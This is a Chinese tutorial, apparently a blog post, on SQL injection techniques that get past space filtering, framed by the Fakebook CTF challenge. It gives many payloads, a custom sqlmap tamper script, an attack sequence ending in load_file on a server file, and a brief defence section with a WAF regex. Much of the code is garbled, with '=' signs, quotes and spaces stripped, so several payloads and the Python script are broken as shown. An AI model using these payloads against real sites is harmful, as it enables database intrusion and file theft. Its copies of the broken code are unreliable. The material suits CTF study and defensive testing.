从一道CTF题Fakebook,聊聊SQL注入绕过空格过滤的几种骚操作(附脚本)

从一道CTF题Fakebook,聊聊SQL注入绕过空格过滤的几种骚操作(附脚本) CTF实战SQL注入中空格过滤的七种高级绕过技巧与自动化脚本开发在CTF竞赛和实际渗透测试中遇到SQL注入点但空格被过滤的情况并不罕见。最近在复现网鼎杯2018 Fakebook题目时我发现这个经典案例完美展示了当空格字符被过滤时攻击者如何通过多种替代方案完成注入。本文将深入剖析七种实用绕过技巧并教你如何开发类似space2comment.py的tamper脚本实现自动化测试。1. 理解空格过滤的底层逻辑现代WAFWeb应用防火墙和输入过滤机制通常会拦截包含空格的SQL查询因为这是识别恶意流量的重要特征。但空格在SQL语法中主要起分隔作用并非语法必需。理解这点是绕过的基础。常见过滤方式包括直接删除所有空格字符将连续空格替换为单个空格拦截包含空格的请求绕过核心思路是找到能被SQL解析器识别为分隔符但又不被过滤的替代字符。以下是我在实际测试中最有效的七种方案2. 注释符替代法最经典的绕过方式是用注释符/**/替代空格。这种方法在MySQL中尤其有效?no1/**/union/**/select/**/1,database(),3,4--优势兼容性高适用于大多数MySQL版本可读性相对较好容易被自动化工具识别局限部分WAF开始检测这种模式在某些特殊字符集环境下可能失效3. 换行符与制表符技巧当/**/被检测时可以尝试更隐蔽的空白字符?no1%0Aunion%0Aselect%0A1,2,3,4--常用替代字符包括%0A(LF换行符)%0D(CR回车符)%09(水平制表符)%0B(垂直制表符)实战建议组合使用不同空白字符效果更佳注意URL编码与直接使用的区别4. 括号包裹表达式在某些场景下可以用括号包裹整个表达式避免空格?no(1)union(select(1),(database()),(3),(4))--适用场景需要极简payload时其他方法都被过滤的情况特定数据库版本如MySQL 5.75. 特殊字符拼接技术利用数据库的字符串处理函数实现无空格注入?no1--union--select--1,concat(version),3,4--或者更隐蔽的方式?no1e0union%23%0aselect%0a1,user(),3,4--6. 数学运算替代法通过数学运算构造有效分隔?no1unionselect1,23,4,5--注意确保运算不会改变原意测试目标数据库的运算优先级7. 编码与双重编码技巧尝试不同编码方式绕过过滤?no1%2520union%2520select%25201,2,3,4--常见编码组合URL编码HTML实体编码Unicode编码双重/多重编码8. 开发自定义tamper脚本对于需要频繁测试的场景可以开发类似sqlmap的tamper脚本。以下是增强版space2comment.py的开发要点#!/usr/bin/env python from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): 将空格替换为/**/注释符并随机插入换行符 if payload: payload payload.replace( , /**/) # 随机位置插入换行符增加混淆 import random if random.randint(0,1): payload payload.replace(/**/union/**/, /**/union%0A/**/) # 可选10%概率使用括号包裹 if random.randint(1,10) 1: payload payload.replace(select/**/, select() payload payload.replace(/**/from, )from) return payload脚本优化技巧添加随机化元素增加绕过率支持多种替代方案组合保留原始payload语义考虑特殊字符的URL编码9. 实战中的综合应用策略在Fakebook这类CTF题目中我通常采用以下测试流程基础探测先用简单payload确认注入点?no1--空格替代测试按成功率从高到低尝试首先/**/然后%0A、%09最后尝试括号和编码联合查询构造确认回显位置?no-1/**/union/**/select/**/1,2,3,4--信息收集逐步获取数据库信息?no-1/**/union/**/select/**/1,(select(group_concat(table_name))/**/from/**/information_schema.tables/**/where/**/table_schemadatabase()),3,4--数据提取获取最终flag?no-1/**/union/**/select/**/1,(select(load_file(/var/www/html/flag.php))),3,4--10. 防御方案与检测建议作为开发者应该如何防御这类攻击有效防御措施使用参数化查询Prepared Statements实施最小权限原则过滤所有空白字符而不仅是空格监控异常查询模式WAF规则建议(/\*\*/|\%0A|\%09|\(select\(|\%2520)在实际项目中遇到类似Fakebook的题目时关键是要保持灵活思维。记得有次比赛我花了两个小时尝试各种空格绕过方法最后发现其实只需要用%a0不换行空格就能轻松绕过。这种经验告诉我在安全测试中耐心和创造力往往比工具更重要。